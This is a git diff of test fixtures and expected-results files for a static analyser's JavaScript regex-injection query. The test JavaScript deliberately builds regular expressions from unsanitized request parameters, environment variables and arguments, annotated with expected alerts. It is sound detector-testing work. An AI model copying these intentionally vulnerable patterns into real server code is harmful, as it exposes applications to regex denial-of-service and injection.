+| RegExpInjection.js:5:31:5:56 | input | RegExpInjection.js:42:26:42:30 | input | provenance |  |
 | RegExpInjection.js:5:39:5:56 | req.param("input") | RegExpInjection.js:5:31:5:56 | input | provenance |  |
-| RegExpInjection.js:8:31:8:33 | key | RegExpInjection.js:8:23:8:45 | "\\\\b" + ... (.*)\\n" | provenance |  |
-| RegExpInjection.js:10:17:10:17 | s | RegExpInjection.js:11:26:11:26 | s | provenance |  |
-| RegExpInjection.js:11:20:11:27 | wrap2(s) | RegExpInjection.js:11:12:11:27 | "\\\\b" + wrap2(s) | provenance |  |
-| RegExpInjection.js:11:26:11:26 | s | RegExpInjection.js:11:20:11:27 | wrap2(s) | provenance |  |
-| RegExpInjection.js:11:26:11:26 | s | RegExpInjection.js:14:18:14:18 | s | provenance |  |
-| RegExpInjection.js:14:18:14:18 | s | RegExpInjection.js:15:12:15:12 | s | provenance |  |
-| RegExpInjection.js:15:12:15:12 | s | RegExpInjection.js:15:12:15:24 | s + "=(.*)\\n" | provenance |  |
-| RegExpInjection.js:19:19:19:21 | key | RegExpInjection.js:10:17:10:17 | s | provenance |  |
-| RegExpInjection.js:19:19:19:21 | key | RegExpInjection.js:19:14:19:22 | wrap(key) | provenance |  |
-| RegExpInjection.js:21:19:21:21 | key | RegExpInjection.js:10:17:10:17 | s | provenance |  |
-| RegExpInjection.js:21:19:21:21 | key | RegExpInjection.js:21:14:21:22 | wrap(key) | provenance |  |
-| RegExpInjection.js:24:12:24:27 | req.param("key") | RegExpInjection.js:27:14:27:21 | getKey() | provenance |  |
-| RegExpInjection.js:24:12:24:27 | req.param("key") | RegExpInjection.js:34:12:34:19 | getKey() | provenance |  |
-| RegExpInjection.js:29:21:29:21 | s | RegExpInjection.js:31:23:31:23 | s | provenance |  |
-| RegExpInjection.js:33:12:33:14 | key | RegExpInjection.js:29:21:29:21 | s | provenance |  |
-| RegExpInjection.js:34:12:34:19 | getKey() | RegExpInjection.js:29:21:29:21 | s | provenance |  |
-| RegExpInjection.js:54:14:54:16 | key | RegExpInjection.js:54:14:54:27 | key.split(".") [ArrayElement] | provenance |  |
-| RegExpInjection.js:54:14:54:27 | key.split(".") [ArrayElement] | RegExpInjection.js:54:14:54:42 | key.spl ... x => x) [ArrayElement] | provenance |  |
-| RegExpInjection.js:54:14:54:42 | key.spl ... x => x) [ArrayElement] | RegExpInjection.js:54:14:54:52 | key.spl ... in("-") | provenance |  |
-| RegExpInjection.js:60:31:60:56 | input | RegExpInjection.js:64:14:64:18 | input | provenance |  |
-| RegExpInjection.js:60:39:60:56 | req.param("input") | RegExpInjection.js:60:31:60:56 | input | provenance |  |
-| RegExpInjection.js:82:7:82:32 | input | RegExpInjection.js:87:25:87:29 | input | provenance |  |
-| RegExpInjection.js:82:15:82:32 | req.param("input") | RegExpInjection.js:82:7:82:32 | input | provenance |  |
-| RegExpInjection.js:87:25:87:29 | input | RegExpInjection.js:87:25:87:48 | input.r ... g, "\|") | provenance |  |
-| RegExpInjection.js:87:25:87:48 | input.r ... g, "\|") | RegExpInjection.js:87:14:87:55 | "^.*\\.( ...  + ")$" | provenance |  |
-| RegExpInjection.js:91:20:91:30 | process.env | RegExpInjection.js:91:16:91:50 | `^${pro ... r.app$` | provenance |  |
-| RegExpInjection.js:93:20:93:31 | process.argv | RegExpInjection.js:93:16:93:49 | `^${pro ... r.app$` | provenance |  |
-| RegExpInjection.js:97:7:97:32 | input | RegExpInjection.js:99:19:99:23 | input | provenance |  |
-| RegExpInjection.js:97:15:97:32 | req.param("input") | RegExpInjection.js:97:7:97:32 | input | provenance |  |
-| RegExpInjection.js:99:7:99:106 | sanitized | RegExpInjection.js:100:14:100:22 | sanitized | provenance |  |
-| RegExpInjection.js:99:19:99:23 | input | RegExpInjection.js:99:19:99:106 | input.r ... "\\\\$&") | provenance |  |
-| RegExpInjection.js:99:19:99:106 | input.r ... "\\\\$&") | RegExpInjection.js:99:7:99:106 | sanitized | provenance |  |
+| RegExpInjection.js:7:31:7:33 | key | RegExpInjection.js:7:23:7:45 | "\\\\b" + ... (.*)\\n" | provenance |  |
+| RegExpInjection.js:9:17:9:17 | s | RegExpInjection.js:10:26:10:26 | s | provenance |  |
+| RegExpInjection.js:10:20:10:27 | wrap2(s) | RegExpInjection.js:10:12:10:27 | "\\\\b" + wrap2(s) | provenance |  |
+| RegExpInjection.js:10:26:10:26 | s | RegExpInjection.js:10:20:10:27 | wrap2(s) | provenance |  |
+| RegExpInjection.js:10:26:10:26 | s | RegExpInjection.js:13:18:13:18 | s | provenance |  |
+| RegExpInjection.js:13:18:13:18 | s | RegExpInjection.js:14:12:14:12 | s | provenance |  |
+| RegExpInjection.js:14:12:14:12 | s | RegExpInjection.js:14:12:14:24 | s + "=(.*)\\n" | provenance |  |
+| RegExpInjection.js:17:19:17:21 | key | RegExpInjection.js:9:17:9:17 | s | provenance |  |
+| RegExpInjection.js:17:19:17:21 | key | RegExpInjection.js:17:14:17:22 | wrap(key) | provenance |  |
+| RegExpInjection.js:18:19:18:21 | key | RegExpInjection.js:9:17:9:17 | s | provenance |  |
+| RegExpInjection.js:18:19:18:21 | key | RegExpInjection.js:18:14:18:22 | wrap(key) | provenance |  |
+| RegExpInjection.js:21:12:21:27 | req.param("key") | RegExpInjection.js:23:14:23:21 | getKey() | provenance |  |
+| RegExpInjection.js:21:12:21:27 | req.param("key") | RegExpInjection.js:29:12:29:19 | getKey() | provenance |  |
+| RegExpInjection.js:25:21:25:21 | s | RegExpInjection.js:26:23:26:23 | s | provenance |  |
+| RegExpInjection.js:28:12:28:14 | key | RegExpInjection.js:25:21:25:21 | s | provenance |  |
+| RegExpInjection.js:29:12:29:19 | getKey() | RegExpInjection.js:25:21:25:21 | s | provenance |  |
+| RegExpInjection.js:49:14:49:16 | key | RegExpInjection.js:49:14:49:27 | key.split(".") [ArrayElement] | provenance |  |
+| RegExpInjection.js:49:14:49:27 | key.split(".") [ArrayElement] | RegExpInjection.js:49:14:49:42 | key.spl ... x => x) [ArrayElement] | provenance |  |
+| RegExpInjection.js:49:14:49:42 | key.spl ... x => x) [ArrayElement] | RegExpInjection.js:49:14:49:52 | key.spl ... in("-") | provenance |  |
+| RegExpInjection.js:55:31:55:56 | input | RegExpInjection.js:59:14:59:18 | input | provenance |  |
+| RegExpInjection.js:55:39:55:56 | req.param("input") | RegExpInjection.js:55:31:55:56 | input | provenance |  |
+| RegExpInjection.js:77:7:77:32 | input | RegExpInjection.js:82:25:82:29 | input | provenance |  |
+| RegExpInjection.js:77:15:77:32 | req.param("input") | RegExpInjection.js:77:7:77:32 | input | provenance |  |
+| RegExpInjection.js:82:25:82:29 | input | RegExpInjection.js:82:25:82:48 | input.r ... g, "\|") | provenance |  |
+| RegExpInjection.js:82:25:82:48 | input.r ... g, "\|") | RegExpInjection.js:82:14:82:55 | "^.*\\.( ...  + ")$" | provenance |  |
+| RegExpInjection.js:86:20:86:30 | process.env | RegExpInjection.js:86:16:86:50 | `^${pro ... r.app$` | provenance |  |
+| RegExpInjection.js:88:20:88:31 | process.argv | RegExpInjection.js:88:16:88:49 | `^${pro ... r.app$` | provenance |  |
+| RegExpInjection.js:92:7:92:32 | input | RegExpInjection.js:94:19:94:23 | input | provenance |  |
+| RegExpInjection.js:92:15:92:32 | req.param("input") | RegExpInjection.js:92:7:92:32 | input | provenance |  |
+| RegExpInjection.js:94:7:94:106 | sanitized | RegExpInjection.js:95:14:95:22 | sanitized | provenance |  |
+| RegExpInjection.js:94:19:94:23 | input | RegExpInjection.js:94:19:94:106 | input.r ... "\\\\$&") | provenance |  |
+| RegExpInjection.js:94:19:94:106 | input.r ... "\\\\$&") | RegExpInjection.js:94:7:94:106 | sanitized | provenance |  |
 | tst.js:5:9:5:29 | data | tst.js:6:21:6:24 | data | provenance |  |
 | tst.js:5:16:5:29 | req.query.data | tst.js:5:9:5:29 | data | provenance |  |
 | tst.js:6:21:6:24 | data | tst.js:6:16:6:35 | "^"+ data.name + "$" | provenance |  |
@@ -52,78 +72,58 @@ nodes
 | RegExpInjection.js:5:13:5:28 | req.param("key") | semmle.label | req.param("key") |
 | RegExpInjection.js:5:31:5:56 | input | semmle.label | input |
 | RegExpInjection.js:5:39:5:56 | req.param("input") | semmle.label | req.param("input") |
-| RegExpInjection.js:8:23:8:45 | "\\\\b" + ... (.*)\\n" | semmle.label | "\\\\b" + ... (.*)\\n" |
-| RegExpInjection.js:8:31:8:33 | key | semmle.label | key |
-| RegExpInjection.js:10:17:10:17 | s | semmle.label | s |
-| RegExpInjection.js:11:12:11:27 | "\\\\b" + wrap2(s) | semmle.label | "\\\\b" + wrap2(s) |
-| RegExpInjection.js:11:20:11:27 | wrap2(s) | semmle.label | wrap2(s) |
-| RegExpInjection.js:11:26:11:26 | s | semmle.label | s |
-| RegExpInjection.js:14:18:14:18 | s | semmle.label | s |
-| RegExpInjection.js:15:12:15:12 | s | semmle.label | s |
-| RegExpInjection.js:15:12:15:24 | s + "=(.*)\\n" | semmle.label | s + "=(.*)\\n" |
-| RegExpInjection.js:19:14:19:22 | wrap(key) | semmle.label | wrap(key) |
-| RegExpInjection.js:19:19:19:21 | key | semmle.label | key |
-| RegExpInjection.js:21:14:21:22 | wrap(key) | semmle.label | wrap(key) |
-| RegExpInjection.js:21:19:21:21 | key | semmle.label | key |
-| RegExpInjection.js:24:12:24:27 | req.param("key") | semmle.label | req.param("key") |
-| RegExpInjection.js:27:14:27:21 | getKey() | semmle.label | getKey() |
-| RegExpInjection.js:29:21:29:21 | s | semmle.label | s |
-| RegExpInjection.js:31:23:31:23 | s | semmle.label | s |
-| RegExpInjection.js:33:12:33:14 | key | semmle.label | key |
-| RegExpInjection.js:34:12:34:19 | getKey() | semmle.label | getKey() |
-| RegExpInjection.js:40:23:40:27 | input | semmle.label | input |
-| RegExpInjection.js:41:26:41:30 | input | semmle.label | input |
-| RegExpInjection.js:42:25:42:29 | input | semmle.label | input |
-| RegExpInjection.js:45:24:45:28 | input | semmle.label | input |
-| RegExpInjection.js:46:27:46:31 | input | semmle.label | input |
-| RegExpInjection.js:47:26:47:30 | input | semmle.label | input |
-| RegExpInjection.js:54:14:54:16 | key | semmle.label | key |
-| RegExpInjection.js:54:14:54:27 | key.split(".") [ArrayElement] | semmle.label | key.split(".") [ArrayElement] |
-| RegExpInjection.js:54:14:54:42 | key.spl ... x => x) [ArrayElement] | semmle.label | key.spl ... x => x) [ArrayElement] |
-| RegExpInjection.js:54:14:54:52 | key.spl ... in("-") | semmle.label | key.spl ... in("-") |
-| RegExpInjection.js:60:31:60:56 | input | semmle.label | input |
-| RegExpInjection.js:60:39:60:56 | req.param("input") | semmle.label | req.param("input") |
-| RegExpInjection.js:64:14:64:18 | input | semmle.label | input |
-| RegExpInjection.js:82:7:82:32 | input | semmle.label | input |
-| RegExpInjection.js:82:15:82:32 | req.param("input") | semmle.label | req.param("input") |
-| RegExpInjection.js:87:14:87:55 | "^.*\\.( ...  + ")$" | semmle.label | "^.*\\.( ...  + ")$" |
-| RegExpInjection.js:87:25:87:29 | input | semmle.label | input |
-| RegExpInjection.js:87:25:87:48 | input.r ... g, "\|") | semmle.label | input.r ... g, "\|") |
-| RegExpInjection.js:91:16:91:50 | `^${pro ... r.app$` | semmle.label | `^${pro ... r.app$` |
-| RegExpInjection.js:91:20:91:30 | process.env | semmle.label | process.env |
-| RegExpInjection.js:93:16:93:49 | `^${pro ... r.app$` | semmle.label | `^${pro ... r.app$` |
-| RegExpInjection.js:93:20:93:31 | process.argv | semmle.label | process.argv |
-| RegExpInjection.js:97:7:97:32 | input | semmle.label | input |
-| RegExpInjection.js:97:15:97:32 | req.param("input") | semmle.label | req.param("input") |
-| RegExpInjection.js:99:7:99:106 | sanitized | semmle.label | sanitized |
-| RegExpInjection.js:99:19:99:23 | input | semmle.label | input |
-| RegExpInjection.js:99:19:99:106 | input.r ... "\\\\$&") | semmle.label | input.r ... "\\\\$&") |
-| RegExpInjection.js:100:14:100:22 | sanitized | semmle.label | sanitized |
+| RegExpInjection.js:7:23:7:45 | "\\\\b" + ... (.*)\\n" | semmle.label | "\\\\b" + ... (.*)\\n" |
+| RegExpInjection.js:7:31:7:33 | key | semmle.label | key |
+| RegExpInjection.js:9:17:9:17 | s | semmle.label | s |
+| RegExpInjection.js:10:12:10:27 | "\\\\b" + wrap2(s) | semmle.label | "\\\\b" + wrap2(s) |
+| RegExpInjection.js:10:20:10:27 | wrap2(s) | semmle.label | wrap2(s) |
+| RegExpInjection.js:10:26:10:26 | s | semmle.label | s |
+| RegExpInjection.js:13:18:13:18 | s | semmle.label | s |
+| RegExpInjection.js:14:12:14:12 | s | semmle.label | s |
+| RegExpInjection.js:14:12:14:24 | s + "=(.*)\\n" | semmle.label | s + "=(.*)\\n" |
+| RegExpInjection.js:17:14:17:22 | wrap(key) | semmle.label | wrap(key) |
+| RegExpInjection.js:17:19:17:21 | key | semmle.label | key |
+| RegExpInjection.js:18:14:18:22 | wrap(key) | semmle.label | wrap(key) |
+| RegExpInjection.js:18:19:18:21 | key | semmle.label | key |
+| RegExpInjection.js:21:12:21:27 | req.param("key") | semmle.label | req.param("key") |
+| RegExpInjection.js:23:14:23:21 | getKey() | semmle.label | getKey() |
+| RegExpInjection.js:25:21:25:21 | s | semmle.label | s |
+| RegExpInjection.js:26:23:26:23 | s | semmle.label | s |
+| RegExpInjection.js:28:12:28:14 | key | semmle.label | key |
+| RegExpInjection.js:29:12:29:19 | getKey() | semmle.label | getKey() |
+| RegExpInjection.js:35:23:35:27 | input | semmle.label | input |
+| RegExpInjection.js:36:26:36:30 | input | semmle.label | input |
+| RegExpInjection.js:37:25:37:29 | input | semmle.label | input |
+| RegExpInjection.js:40:24:40:28 | input | semmle.label | input |
+| RegExpInjection.js:41:27:41:31 | input | semmle.label | input |
+| RegExpInjection.js:42:26:42:30 | input | semmle.label | input |
+| RegExpInjection.js:49:14:49:16 | key | semmle.label | key |
+| RegExpInjection.js:49:14:49:27 | key.split(".") [ArrayElement] | semmle.label | key.split(".") [ArrayElement] |
+| RegExpInjection.js:49:14:49:42 | key.spl ... x => x) [ArrayElement] | semmle.label | key.spl ... x => x) [ArrayElement] |
+| RegExpInjection.js:49:14:49:52 | key.spl ... in("-") | semmle.label | key.spl ... in("-") |
+| RegExpInjection.js:55:31:55:56 | input | semmle.label | input |
+| RegExpInjection.js:55:39:55:56 | req.param("input") | semmle.label | req.param("input") |
+| RegExpInjection.js:59:14:59:18 | input | semmle.label | input |
+| RegExpInjection.js:77:7:77:32 | input | semmle.label | input |
+| RegExpInjection.js:77:15:77:32 | req.param("input") | semmle.label | req.param("input") |
+| RegExpInjection.js:82:14:82:55 | "^.*\\.( ...  + ")$" | semmle.label | "^.*\\.( ...  + ")$" |
+| RegExpInjection.js:82:25:82:29 | input | semmle.label | input |
+| RegExpInjection.js:82:25:82:48 | input.r ... g, "\|") | semmle.label | input.r ... g, "\|") |
+| RegExpInjection.js:86:16:86:50 | `^${pro ... r.app$` | semmle.label | `^${pro ... r.app$` |
+| RegExpInjection.js:86:20:86:30 | process.env | semmle.label | process.env |
+| RegExpInjection.js:88:16:88:49 | `^${pro ... r.app$` | semmle.label | `^${pro ... r.app$` |
+| RegExpInjection.js:88:20:88:31 | process.argv | semmle.label | process.argv |
+| RegExpInjection.js:92:7:92:32 | input | semmle.label | input |
+| RegExpInjection.js:92:15:92:32 | req.param("input") | semmle.label | req.param("input") |
+| RegExpInjection.js:94:7:94:106 | sanitized | semmle.label | sanitized |
+| RegExpInjection.js:94:19:94:23 | input | semmle.label | input |
+| RegExpInjection.js:94:19:94:106 | input.r ... "\\\\$&") | semmle.label | input.r ... "\\\\$&") |
+| RegExpInjection.js:95:14:95:22 | sanitized | semmle.label | sanitized |
 | tst.js:5:9:5:29 | data | semmle.label | data |
 | tst.js:5:16:5:29 | req.query.data | semmle.label | req.query.data |
 | tst.js:6:16:6:35 | "^"+ data.name + "$" | semmle.label | "^"+ data.name + "$" |
 | tst.js:6:21:6:24 | data | semmle.label | data |
 subpaths
-| RegExpInjection.js:11:26:11:26 | s | RegExpInjection.js:14:18:14:18 | s | RegExpInjection.js:15:12:15:24 | s + "=(.*)\\n" | RegExpInjection.js:11:20:11:27 | wrap2(s) |
-| RegExpInjection.js:19:19:19:21 | key | RegExpInjection.js:10:17:10:17 | s | RegExpInjection.js:11:12:11:27 | "\\\\b" + wrap2(s) | RegExpInjection.js:19:14:19:22 | wrap(key) |
-| RegExpInjection.js:21:19:21:21 | key | RegExpInjection.js:10:17:10:17 | s | RegExpInjection.js:11:12:11:27 | "\\\\b" + wrap2(s) | RegExpInjection.js:21:14:21:22 | wrap(key) |
-#select
-| RegExpInjection.js:8:23:8:45 | "\\\\b" + ... (.*)\\n" | RegExpInjection.js:5:13:5:28 | req.param("key") | RegExpInjection.js:8:23:8:45 | "\\\\b" + ... (.*)\\n" | This regular expression is constructed from a $@. | RegExpInjection.js:5:13:5:28 | req.param("key") | user-provided value |
-| RegExpInjection.js:19:14:19:22 | wrap(key) | RegExpInjection.js:5:13:5:28 | req.param("key") | RegExpInjection.js:19:14:19:22 | wrap(key) | This regular expression is constructed from a $@. | RegExpInjection.js:5:13:5:28 | req.param("key") | user-provided value |
-| RegExpInjection.js:21:14:21:22 | wrap(key) | RegExpInjection.js:5:13:5:28 | req.param("key") | RegExpInjection.js:21:14:21:22 | wrap(key) | This regular expression is constructed from a $@. | RegExpInjection.js:5:13:5:28 | req.param("key") | user-provided value |
-| RegExpInjection.js:27:14:27:21 | getKey() | RegExpInjection.js:24:12:24:27 | req.param("key") | RegExpInjection.js:27:14:27:21 | getKey() | This regular expression is constructed from a $@. | RegExpInjection.js:24:12:24:27 | req.param("key") | user-provided value |
-| RegExpInjection.js:31:23:31:23 | s | RegExpInjection.js:5:13:5:28 | req.param("key") | RegExpInjection.js:31:23:31:23 | s | This regular expression is constructed from a $@. | RegExpInjection.js:5:13:5:28 | req.param("key") | user-provided value |
-| RegExpInjection.js:31:23:31:23 | s | RegExpInjection.js:24:12:24:27 | req.param("key") | RegExpInjection.js:31:23:31:23 | s | This regular expression is constructed from a $@. | RegExpInjection.js:24:12:24:27 | req.param("key") | user-provided value |
-| RegExpInjection.js:40:23:40:27 | input | RegExpInjection.js:5:39:5:56 | req.param("input") | RegExpInjection.js:40:23:40:27 | input | This regular expression is constructed from a $@. | RegExpInjection.js:5:39:5:56 | req.param("input") | user-provided value |
-| RegExpInjection.js:41:26:41:30 | input | RegExpInjection.js:5:39:5:56 | req.param("input") | RegExpInjection.js:41:26:41:30 | input | This regular expression is constructed from a $@. | RegExpInjection.js:5:39:5:56 | req.param("input") | user-provided value |
-| RegExpInjection.js:42:25:42:29 | input | RegExpInjection.js:5:39:5:56 | req.param("input") | RegExpInjection.js:42:25:42:29 | input | This regular expression is constructed from a $@. | RegExpInjection.js:5:39:5:56 | req.param("input") | user-provided value |
-| RegExpInjection.js:45:24:45:28 | input | RegExpInjection.js:5:39:5:56 | req.param("input") | RegExpInjection.js:45:24:45:28 | input | This regular expression is constructed from a $@. | RegExpInjection.js:5:39:5:56 | req.param("input") | user-provided value |
-| RegExpInjection.js:46:27:46:31 | input | RegExpInjection.js:5:39:5:56 | req.param("input") | RegExpInjection.js:46:27:46:31 | input | This regular expression is constructed from a $@. | RegExpInjection.js:5:39:5:56 | req.param("input") | user-provided value |
-| RegExpInjection.js:47:26:47:30 | input | RegExpInjection.js:5:39:5:56 | req.param("input") | RegExpInjection.js:47:26:47:30 | input | This regular expression is constructed from a $@. | RegExpInjection.js:5:39:5:56 | req.param("input") | user-provided value |
-| RegExpInjection.js:54:14:54:52 | key.spl ... in("-") | RegExpInjection.js:5:13:5:28 | req.param("key") | RegExpInjection.js:54:14:54:52 | key.spl ... in("-") | This regular expression is constructed from a $@. | RegExpInjection.js:5:13:5:28 | req.param("key") | user-provided value |
-| RegExpInjection.js:64:14:64:18 | input | RegExpInjection.js:60:39:60:56 | req.param("input") | RegExpInjection.js:64:14:64:18 | input | This regular expression is constructed from a $@. | RegExpInjection.js:60:39:60:56 | req.param("input") | user-provided value |
-| RegExpInjection.js:87:14:87:55 | "^.*\\.( ...  + ")$" | RegExpInjection.js:82:15:82:32 | req.param("input") | RegExpInjection.js:87:14:87:55 | "^.*\\.( ...  + ")$" | This regular expression is constructed from a $@. | RegExpInjection.js:82:15:82:32 | req.param("input") | user-provided value |
-| RegExpInjection.js:91:16:91:50 | `^${pro ... r.app$` | RegExpInjection.js:91:20:91:30 | process.env | RegExpInjection.js:91:16:91:50 | `^${pro ... r.app$` | This regular expression is constructed from a $@. | RegExpInjection.js:91:20:91:30 | process.env | environment variable |
-| RegExpInjection.js:93:16:93:49 | `^${pro ... r.app$` | RegExpInjection.js:93:20:93:31 | process.argv | RegExpInjection.js:93:16:93:49 | `^${pro ... r.app$` | This regular expression is constructed from a $@. | RegExpInjection.js:93:20:93:31 | process.argv | command-line argument |
-| RegExpInjection.js:100:14:100:22 | sanitized | RegExpInjection.js:97:15:97:32 | req.param("input") | RegExpInjection.js:100:14:100:22 | sanitized | This regular expression is constructed from a $@. | RegExpInjection.js:97:15:97:32 | req.param("input") | user-provided value |
-| tst.js:6:16:6:35 | "^"+ data.name + "$" | tst.js:5:16:5:29 | req.query.data | tst.js:6:16:6:35 | "^"+ data.name + "$" | This regular expression is constructed from a $@. | tst.js:5:16:5:29 | req.query.data | user-provided value |
+| RegExpInjection.js:10:26:10:26 | s | RegExpInjection.js:13:18:13:18 | s | RegExpInjection.js:14:12:14:24 | s + "=(.*)\\n" | RegExpInjection.js:10:20:10:27 | wrap2(s) |
+| RegExpInjection.js:17:19:17:21 | key | RegExpInjection.js:9:17:9:17 | s | RegExpInjection.js:10:12:10:27 | "\\\\b" + wrap2(s) | RegExpInjection.js:17:14:17:22 | wrap(key) |
+| RegExpInjection.js:18:19:18:21 | key | RegExpInjection.js:9:17:9:17 | s | RegExpInjection.js:10:12:10:27 | "\\\\b" + wrap2(s) | RegExpInjection.js:18:14:18:22 | wrap(key) |
diff --git a/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjection.js b/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjection.js
index c2f74e5b1147..2aa73c808773 100644
--- a/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjection.js
+++ b/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjection.js
@@ -2,10 +2,9 @@ var express = require('express');
 var app = express();
 var URI = require("urijs");
 app.get('/findKey', function(req, res) {
-  var key = req.param("key"), input = req.param("input");
+  var key = req.param("key"), input = req.param("input"); // $ Source[js/regex-injection]
 
-  // BAD: Unsanitized user input is used to construct a regular expression
-  var re = new RegExp("\\b" + key + "=(.*)\n");
+  var re = new RegExp("\\b" + key + "=(.*)\n"); // $ Alert[js/regex-injection] - Unsanitized user input is used to construct a regular expression
 
   function wrap(s) {
     return "\\b" + wrap2(s);
@@ -15,20 +14,16 @@ app.get('/findKey', function(req, res) {
     return s + "=(.*)\n";
   }
 
-  // NOT OK
-  new RegExp(wrap(key));
-  // NOT OK (duplicated to test precision of flow tracking)
-  new RegExp(wrap(key));
+  new RegExp(wrap(key)); // $ Alert[js/regex-injection]
+  new RegExp(wrap(key)); // $ Alert[js/regex-injection] - duplicated to test precision of flow tracking
 
   function getKey() {
-    return req.param("key");
+    return req.param("key"); // $ Source[js/regex-injection]
   }
-  // NOT OK
-  new RegExp(getKey());
+  new RegExp(getKey()); // $ Alert[js/regex-injection]
 
   function mkRegExp(s) {
-    // NOT OK
-    return new RegExp(s);
+    return new RegExp(s); // $ Alert[js/regex-injection]
   }
   mkRegExp(key);
   mkRegExp(getKey());
@@ -37,34 +32,34 @@ app.get('/findKey', function(req, res) {
   var likelyString = x? defString: 42;
   var notString = {};
 
-  if (defString.match(input)) {} // NOT OK
-  if (likelyString.match(input)) {} // NOT OK
-  if (maybeString.match(input)) {} // NOT OK
-  if (notString.match(input)) {} // OK
+  if (defString.match(input)) {} // $ Alert[js/regex-injection]
+  if (likelyString.match(input)) {} // $ Alert[js/regex-injection]
+  if (maybeString.match(input)) {} // $ Alert[js/regex-injection]
+  if (notString.match(input)) {}
 
-  if (defString.search(input) > -1) {} // NOT OK
-  if (likelyString.search(input) > -1) {} // NOT OK
-  if (maybeString.search(input) > -1) {} // NOT OK
-  if (notString.search(input) > -1) {} // OK
+  if (defString.search(input) > -1) {} // $ Alert[js/regex-injection]
+  if (likelyString.search(input) > -1) {} // $ Alert[js/regex-injection]
+  if (maybeString.search(input) > -1) {} // $ Alert[js/regex-injection]
+  if (notString.search(input) > -1) {}
 
-  URI(`${protocol}://${host}${path}`).search(input); // OK
-  URI(`${protocol}://${host}${path}`).search(input).href(); // OK
-  unknown.search(input).unknown; // OK
+  URI(`${protocol}://${host}${path}`).search(input);
+  URI(`${protocol}://${host}${path}`).search(input).href();
+  unknown.search(input).unknown;
 
-  new RegExp(key.split(".").filter(x => x).join("-")); // NOT OK
+  new RegExp(key.split(".").filter(x => x).join("-")); // $ Alert[js/regex-injection]
 });
 
 import * as Search from './search';
 
 app.get('/findKey', function(req, res) {
-  var key = req.param("key"), input = req.param("input");
+  var key = req.param("key"), input = req.param("input"); // $ Source[js/regex-injection]
 
-  Search.search(input); // OK!
+  Search.search(input);
 
-  new RegExp(input); // NOT OK
+  new RegExp(input); // $ Alert[js/regex-injection]
 
   var sanitized = input.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&");
-  new RegExp(sanitized); // OK
+  new RegExp(sanitized);
 });
 
 function escape1(pattern) {
@@ -79,29 +74,29 @@ function escape2(str){
 };
 
 app.get('/has-sanitizer', function(req, res) {
-  var input = req.param("input");
+  var input = req.param("input"); // $ Source[js/regex-injection]
 
-  new RegExp(escape1(input)); // OK
-  new RegExp(escape2(input)); // OK
+  new RegExp(escape1(input));
+  new RegExp(escape2(input));
 
-  new RegExp("^.*\.(" + input.replace(/,/g, "|") + ")$"); // NOT OK
+  new RegExp("^.*\.(" + input.replace(/,/g, "|") + ")$"); // $ Alert[js/regex-injection]
 });
 
 app.get("argv", function(req, res) {
-    new RegExp(`^${process.env.HOME}/Foo/bar.app$`); // NOT OK
+    new RegExp(`^${process.env.HOME}/Foo/bar.app$`); // $ Alert[js/regex-injection]
 
-    new RegExp(`^${process.argv[1]}/Foo/bar.app$`); // NOT OK
+    new RegExp(`^${process.argv[1]}/Foo/bar.app$`); // $ Alert[js/regex-injection]
 });
 
 app.get("argv", function(req, res) {
-  var input = req.param("input");
+  var input = req.param("input"); // $ Source[js/regex-injection]
 
   var sanitized = input.replace(new RegExp("[\\-\\[\\]\\/\\{\\}\\(\\)\\*\\+\\?\\.\\\\\\^\\$\\|]"), "\\$&");
-  new RegExp(sanitized); // NOT OK
-  
+  new RegExp(sanitized); // $ Alert[js/regex-injection]
+
   var sanitized = input.replace(new RegExp("[\\-\\[\\]\\/\\{\\}\\(\\)\\*\\+\\?\\.\\\\\\^\\$\\|]", "g"), "\\$&");
-  new RegExp(sanitized); // OK
+  new RegExp(sanitized);
 
   var sanitized = input.replace(new RegExp("[\\-\\[\\]\\/\\{\\}\\(\\)\\*\\+\\?\\.\\\\\\^\\$\\|]", unknownFlags()), "\\$&");
-  new RegExp(sanitized); // OK -- Most likely not a problem.
+  new RegExp(sanitized); // OK - Most likely not a problem.
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjection.qlref
index 342753af36b2..2bf1a8eee365 100644
--- a/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjection.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjection.qlref
@@ -1 +1,2 @@
-Security/CWE-730/RegExpInjection.ql
+query: Security/CWE-730/RegExpInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjectionGood.js b/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjectionGood.js
index b8aff706d42d..8222104109ce 100644
--- a/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjectionGood.js
+++ b/javascript/ql/test/query-tests/Security/CWE-730/RegExpInjectionGood.js
@@ -5,7 +5,7 @@ var app = express();
 app.get('/findKey', function(req, res) {
   var key = req.param("key"), input = req.param("input");
 
-  // GOOD: User input is sanitized before constructing the regex
+  // OK - User input is sanitized before constructing the regex
   var safeKey = _.escapeRegExp(key);
   var re = new RegExp("\\b" + safeKey + "=(.*)\n");
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected b/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected
index b63560a99276..ec0baf0e2705 100644
--- a/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-730/ServerCrash.expected
@@ -1,65 +1,65 @@
+#select
+| server-crash.js:15:5:15:14 | throw err; | server-crash.js:15:5:15:14 | throw err; | server-crash.js:14:23:16:3 | (err, x ... sh]\\n  } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:14:23:16:3 | (err, x ... sh]\\n  } | asynchronous callback |
+| server-crash.js:19:3:19:11 | throw 42; | server-crash.js:19:3:19:11 | throw 42; | server-crash.js:58:23:60:3 | (err, x ... ();\\n  } | The server of $@ will terminate when an uncaught exception from this location escapes an $@. | server-crash.js:39:25:85:1 | (req, r ... e) {}\\n} | this route handler | server-crash.js:58:23:60:3 | (err, x ... ();\\n  } | asynchronous callback |
